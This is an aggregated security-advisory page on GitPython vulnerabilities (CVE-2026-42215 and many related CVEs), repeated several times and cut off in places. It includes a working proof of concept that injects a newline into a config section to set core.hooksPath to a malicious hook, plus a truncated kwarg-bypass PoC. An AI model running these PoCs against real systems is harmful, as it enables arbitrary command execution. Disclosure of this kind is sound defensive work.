CVE-2026-42215

GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.

GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.

Summary

The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.

Details

File: git/config.py — GitPython 3.1.49 (latest patched version)

  def set_value(self, section: str, option: str, value) -> "GitConfigParser":
      value_str = self._value_to_string_safe(value)   # only value is validated
      if not self.has_section(section):
          self.add_section(section)                    # section not validated
      super().set(section, option, value_str)          # option not validated
      return self

_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.

PoC

  import git, os, subprocess

  repo = git.Repo.init("/tmp/bypass_test")

  os.makedirs("/tmp/evil_hooks", exist_ok=True)
  with open("/tmp/evil_hooks/pre-commit", "w") as f:
      f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
  os.chmod("/tmp/evil_hooks/pre-commit", 0o755)

  # Inject newline into section parameter (not value — already patched)
  with repo.config_writer() as cw:
      cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")

  r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
                     capture_output=True, text=True)
  print(r.stdout.strip())  # → /tmp/evil_hooks

  subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
  print(open("/tmp/rce_proof.txt").read())  # → uid=1000(...) RCE confirmed

Impact

Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.

Summary

GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.

Details

GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:

• git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe.
• git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.

The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:

• Repo.clone_from() checks list(kwargs.keys()) in git/repo/base.py:1387-1390
• Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071
• Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125
• Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198

That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.

Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:

• upload_pack=... becomes --upload-pack=...
• receive_pack=... becomes --receive-pack=...

Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.

In practice:

• remote.fetch(**{"upload-pack": helper}) is blocked with UnsafeOptionError
• remote.fetch(upload_pack=helper) is allowed and reaches helper execution

The same bypass works for:

Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)

This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.

Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:

• test/test_clone.py:129-136 checks {"upload-pack": ...}
• test/test_remote.py:830-833 checks {"upload-pack": ...}
• test/test_remote.py:968-975 checks {"receive-pack": ...}

Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.

PoC

1. Create and activate a virtual environment in the repository root:

python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate

2. make a new python file and put the following in there, then run it:

import os
import stat
import subprocess
import tempfile

from git import Repo
from git.exc import UnsafeOptionError

# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")

# Setup: this wrapper is just to demo things you can do, not required for the exploit to work
# you could also do something like an SSH reverse shell, really anything
with open(wrapper, "w") as f:
    f.write(f"""#!/bin/sh
{{
  echo "code_exec=1"
  echo "whoami=$(id)"
  echo "cwd=$(pwd)"
  echo "uname=$(uname -a)"
  printf 'argv='; printf '<%s>' "$@"; echo
  env…

GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.

Security Fix(es):

Summary

GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.

Details

GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:

• git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe.
• git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.

The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:

• Repo.clone_from() checks list(kwargs.keys()) in git/repo/base.py:1387-1390
• Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071
• Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125
• Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198

That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.

Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:

• upload_pack=... becomes --upload-pack=...
• receive_pack=... becomes --receive-pack=...

Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.

In practice:

• remote.fetch(**{"upload-pack": helper}) is blocked with UnsafeOptionError
• remote.fetch(upload_pack=helper) is allowed and reaches helper execution

The same bypass works for:

Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)

This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.

Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:

• test/test_clone.py:129-136 checks {"upload-pack": ...}
• test/test_remote.py:830-833 checks {"upload-pack": ...}
• test/test_remote.py:968-975 checks {"receive-pack": ...}

Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.

PoC

1. Create and activate a virtual environment in the repository root:

python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate

2. make a new python file and put the following in there, then run it:

import os
import stat
import subprocess
import tempfile

from git import Repo
from git.exc import UnsafeOptionError

# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")

# Setup: this wrapper is just to demo things you can do, not required for…

GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.

Security Fix(es):

Summary

GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.

Details

GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:

• git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe.
• git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.

The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:

• Repo.clone_from() checks list(kwargs.keys()) in git/repo/base.py:1387-1390
• Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071
• Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125
• Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198

That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.

Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:

• upload_pack=... becomes --upload-pack=...
• receive_pack=... becomes --receive-pack=...

Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.

In practice:

• remote.fetch(**{"upload-pack": helper}) is blocked with UnsafeOptionError
• remote.fetch(upload_pack=helper) is allowed and reaches helper execution

The same bypass works for:

Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)

This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.

Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:

• test/test_clone.py:129-136 checks {"upload-pack": ...}
• test/test_remote.py:830-833 checks {"upload-pack": ...}
• test/test_remote.py:968-975 checks {"receive-pack": ...}

Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.

PoC

1. Create and activate a virtual environment in the repository root:

python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate

2. make a new python file and put the following in there, then run it:

import os
import stat
import subprocess
import tempfile

from git import Repo
from git.exc import UnsafeOptionError

# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")

# Setup: this wrapper is just to demo things you can do, not required for…

GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.

Security Fix(es):

Summary

GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.

Details

GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:

• git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe.
• git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.

The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:

• Repo.clone_from() checks list(kwargs.keys()) in git/repo/base.py:1387-1390
• Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071
• Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125
• Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198

That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.

Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:

• upload_pack=... becomes --upload-pack=...
• receive_pack=... becomes --receive-pack=...

Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.

In practice:

• remote.fetch(**{"upload-pack": helper}) is blocked with UnsafeOptionError
• remote.fetch(upload_pack=helper) is allowed and reaches helper execution

The same bypass works for:

Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)

This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.

Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:

• test/test_clone.py:129-136 checks {"upload-pack": ...}
• test/test_remote.py:830-833 checks {"upload-pack": ...}
• test/test_remote.py:968-975 checks {"receive-pack": ...}

Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.

PoC

1. Create and activate a virtual environment in the repository root:

python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate

2. make a new python file and put the following in there, then run it:

import os
import stat
import subprocess
import tempfile

from git import Repo
from git.exc import UnsafeOptionError

# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")

# Setup: this wrapper is just to demo things you can do, not required for…

GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.

Root has patched CVE-2026-42215 in the GitPython package for Root:PyPI. Multiple fixed versions available.

Root has patched GHSA-mv93-w799-cj2w in the GitPython package for Root:PyPI. Multiple fixed versions available.

GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.

TuxCare rebuilt gitpython to address 2 CVEs. Fixed in 3.1.31.post3+tuxcare.

CVE-2023-40267 GitPython before 3.1.32 does not block insecure non-multi options in clone and clone_from. NOTE: this issue exists because of an incomplete fix for CVE-2022-24439. CVE-2023-41040 In order to resolve some git references, GitPython reads files from the .git directory, in some places the name of the file being read is provided by the user, GitPython doesn't check if this file is located outside the .git directory. This allows an attacker to make GitPython read any file from the system. CVE-2026-42215 From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.

These are all security issues fixed in the python311-GitPython-3.1.49-1.1 package on the GA media of openSUSE Tumbleweed.

This update for python-GitPython fixes the following issues

• CVE-2026-42215: command injection via Git options bypass (bsc#1264604).
• CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).
• CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository (bsc#1264606).
• CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).

This update for python-GitPython fixes the following issues

• CVE-2026-42215: command injection via Git options bypass (bsc#1264604).
• CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).
• CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository (bsc#1264606).
• CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).

This update for python-GitPython fixes the following issues:

• CVE-2026-42215: command injection via Git options bypass (bsc#1264604).
• CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).
• CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository (bsc#1264606).
• CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).
• CVE-2026-67322: vulnerable to environment-variable exfiltration in Repo.clone_from() (bsc#1273357).
• CVE-2026-67323: fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote() (bsc#1273358).
• CVE-2026-67325: contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature (bsc#1273359).
• CVE-2026-67326: fails to validate newline characters in the section parameter of config_writer() (bsc#1273364).
• CVE-2026-69097: fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names (bsc#1273414).
• CVE-2026-73619: incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add- virtual-file options can lead to arbitrary file reads (bsc#1275755).
• CVE-2026-73620: failure to guard git option forwarding in IndexFile.checkout() and TagReference.create() can lead to arbitrary file reads and writes (bsc#1275756).
• CVE-2026-73621: argument injection in the Commit.count() method allows for destruction/blanking of arbitrary files (bsc#1275757).
• CVE-2026-73622: failure to disable environment variable expansion in Remote.create() and Submodule.add() URL handling allows for secret exfiltration via URLs containing variable references (bsc#1275751).
• CVE-2026-73623: incomplete denylist in unsafe_git_clone_options that omits --template allows for arbitrary command execution (bsc#1275752).
• CVE-2026-73624: Diffable.diff method fails to validate git options passed through kwargs, which can lead to arbitrary file writes (bsc#1275753).
• CVE-2026-73625: check_unsafe_options guard bypass via smuggling of git options inside single-character kwarg values can lead to arbitrary code execution (bsc#1275754).
• CVE-2026-76217: failure to validate options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout() can lead to arbitrary file reads (bsc#1275745).
• CVE-2026-76218: unguarded git option forwarding in Repo.init allows for arbitrary command execution (bsc#1275746).
• CVE-2026-76219: unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree can lead to arbitrary file overwrites (bsc#1275747).
• CVE-2026-76220: check_unsafe_options guard can be bypassed by combining a single-character kwarg with split_single_char_options=False, which can lead to arbitrary OS command injection (bsc#1275748).
• CVE-2026-76221: config-name injection in the option-name validator can lead to remote code execution (bsc#1275749).
• CVE-2026-76222: failure to validate submodule names from .gitmodules files allows creation of Git repositories at arbitrary filesystem paths outside the intended clone directory (bsc#1275750).
• CVE-2026-78675: fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives (bsc#1276434).
• CVE-2026-78676: fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives (bsc#1276433).
• CVE-2026-78677: allowing creation of arbitrary git directories outside the intended clone destination (bsc#1276432).
• CVE-2026-78678: an incomplete denylist in the unsafe_git_revision_options guard that omits --contents…

Santos Gallegos discovered that GitPython did not properly validate paths when resolving certain Git references. An attacker could possibly use this issue to cause files outside the .git directory to be accessed, leading to a denial of service. This issue only affected Ubuntu 14.04 LTS, Ubuntu 16.04 LTS, Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, and Ubuntu 22.04 LTS. (CVE-2023-41040)

Wes Ring discovered that GitPython did not properly block certain unsafe Git options when they were provided as Python keyword arguments. An attacker could possibly use this issue to cause arbitrary command execution. (CVE-2026-42215)

It was discovered that GitPython did not properly validate clone options before processing them. An attacker could possibly use this issue to inject unsafe Git configuration, leading to arbitrary command execution through Git hooks. This issue only affected Ubuntu 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 26.04 LTS. (CVE-2026-42284)

It was discovered that GitPython did not properly validate reference paths during reference operations. An attacker could possibly use this issue to write, overwrite, move, or delete files outside the repository. (CVE-2026-44243)

Dan Aridor discovered that GitPython did not properly validate configuration values before writing them to Git configuration files. An attacker could possibly use this issue to inject unsafe Git configuration, leading to arbitrary command execution through Git hooks. (CVE-2026-44244)